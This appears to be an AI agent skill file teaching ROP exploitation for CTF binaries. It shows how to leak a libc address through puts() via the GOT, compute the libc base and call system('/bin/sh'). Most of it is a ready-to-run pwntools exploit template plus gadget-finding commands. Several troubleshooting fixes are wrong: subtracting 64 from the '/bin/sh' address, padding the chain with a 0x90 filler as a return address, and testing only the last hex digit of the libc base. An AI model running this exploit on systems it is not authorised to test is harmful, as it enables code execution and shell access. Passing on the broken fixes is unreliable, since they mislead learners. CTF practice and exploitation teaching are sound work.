| name | rop-libc-leak |
| description | How to create ROP exploits that leak libc addresses in binary exploitation challenges. Use this skill whenever the user mentions ROP, return-oriented programming, leaking libc, GOT/PLT exploitation, pwntools, binary exploitation, CTF challenges with buffer overflows, or needs to bypass ASLR by leaking libc addresses. This is essential for any binary exploitation task involving libc function calls, system(), or shellcode execution on modern protected binaries. |
ROP Libc Leak Exploitation
A skill for creating Return-Oriented Programming (ROP) exploits that leak libc addresses to bypass ASLR (Address Space Layout Randomization) in binary exploitation challenges.
When to Use This Skill
Use this skill when:
- You have a buffer overflow vulnerability and need to leak libc addresses
- You're working on CTF challenges with ASLR protection
- You need to call libc functions like
system(), puts(), or printf()
- The binary has a GOT (Global Offset Table) you can exploit
- You need to chain ROP gadgets to achieve code execution
Core Concept
The exploit works in two stages:
- Leak Stage: Use
puts() or printf() to leak a libc function address from the GOT
- Exploit Stage: Calculate libc base address and call
system("/bin/sh")
Prerequisites
- pwntools installed (
pip install pwntools)
- The vulnerable binary
- Knowledge of the offset to overwrite the return address
- A libc library (can be found at https://libc.blukat.me/)
Step-by-Step Exploitation
Step 1: Setup and Connection
from pwn import *
LOCAL = True
REMOTE = False
if LOCAL:
p = process("./vuln")
elf = ELF("./vuln")
else:
p = remote("host", port)
elf = ELF("./vuln")
rop = ROP(elf)
Step 2: Find the Offset
Use cyclic patterns to find where the return address is overwritten:
from pwn import cyclic, cyclic_find
payload = cyclic(264) + b"AAAAAAAA"
p.sendline(payload)
Step 3: Find Gadgets
POP_RDI = next(rop.gadgets.search(r'^pop rdi; ret$'))
PUTS_PLT = elf.plt['puts']
MAIN = elf.symbols['main']
Step 4: Leak libc Address
PUTS_GOT = elf.got['puts']
rop_chain = p64(POP_RDI) + p64(PUTS_GOT) + p64(PUTS_PLT) + p64(MAIN)
p.sendline(OFFSET + rop_chain)
leaked = u64(p.recvline().strip().ljust(8, b'\x00'))
log.info(f"Leaked puts address: {hex(leaked)}")
Step 5: Calculate libc Base
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc.address = leaked - libc.symbols['puts']
log.info(f"libc base: {hex(libc.address)}")
Step 6: Final Exploitation
BINSH = next(libc.search(b"/bin/sh"))
SYSTEM = libc.symbols['system']
final_rop = p64(POP_RDI) + p64(BINSH) + p64(SYSTEM)
p.sendline(OFFSET + final_rop)
p.interactive()
Common Issues and Solutions
Issue: main symbol not found
Cause: Binary is stripped (no symbols)
Solution: Find main address manually:
objdump -d vuln_binary | grep ".text"
Then set it manually:
MAIN = 0x401080
Issue: sh: 1: %s%s%s%s%s%s%s%s: not found
Cause: /bin/sh address is misaligned (must be 16-byte aligned)
Solution: Subtract 64 bytes:
BINSH = next(libc.search(b"/bin/sh")) - 64
Issue: Wrong libc library
Cause: Using incorrect libc version
Solution: Verify libc base ends in 0x0:
if hex(libc.address)[-1] != '0':
log.error("Wrong libc! Base should end in 0x0")
Find correct libc at https://libc.blukat.me/ using the leaked address.
Issue: Payload alignment
Cause: Stack must be 16-byte aligned for some libc versions
Solution: Add padding:
def align_payload(payload):
if len(payload) % 16 == 0:
return payload
else:
return payload + p64(0x9090909090909090)
Complete Template
from pwn import *
OFFSET = 264
LOCAL = True
if LOCAL:
p = process("./vuln")
elf = ELF("./vuln")
else:
p = remote("host", port)
elf = ELF("./vuln")
rop = ROP(elf)
POP_RDI = next(rop.gadgets.search(r'^pop rdi; ret$'))
PUTS_PLT = elf.plt['puts']
MAIN = elf.symbols['main']
PUTS_GOT = elf.got['puts']
leak_rop = p64(POP_RDI) + p64(PUTS_GOT) + p64(PUTS_PLT) + p64(MAIN)
p.sendline(b"A" * OFFSET + leak_rop)
leaked = u64(p.recvline().strip().ljust(8, b'\x00'))
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc.address = leaked - libc.symbols['puts']
BINSH = next(libc.search(b"/bin/sh"))
SYSTEM = libc.symbols['system']
exploit_rop = p64(POP_RDI) + p64(BINSH) + p64(SYSTEM)
p.sendline(b"A" * OFFSET + exploit_rop)
p.interactive()
Tips for Success
- Always verify the libc - Wrong libc = wrong addresses = no shell
- Check for alignment - Some libc versions require 16-byte stack alignment
- Use GDB - Attach with
gdb.attach(p) to debug locally
- Test locally first - Before trying remote exploitation
- Handle echoes - If the binary echoes input, account for it when receiving
Tools
ROPgadget - Find ROP gadgets: ROPgadget --binary vuln | grep "pop rdi"
one_gadget - Find one-gadget shells: one_gadget libc.so.6
pwntools - Python exploitation framework
libc.blukat.me - Find libc from leaked addresses
Security Note
This skill is for educational purposes and CTF challenges only. Only use these techniques on systems you own or have explicit permission to test.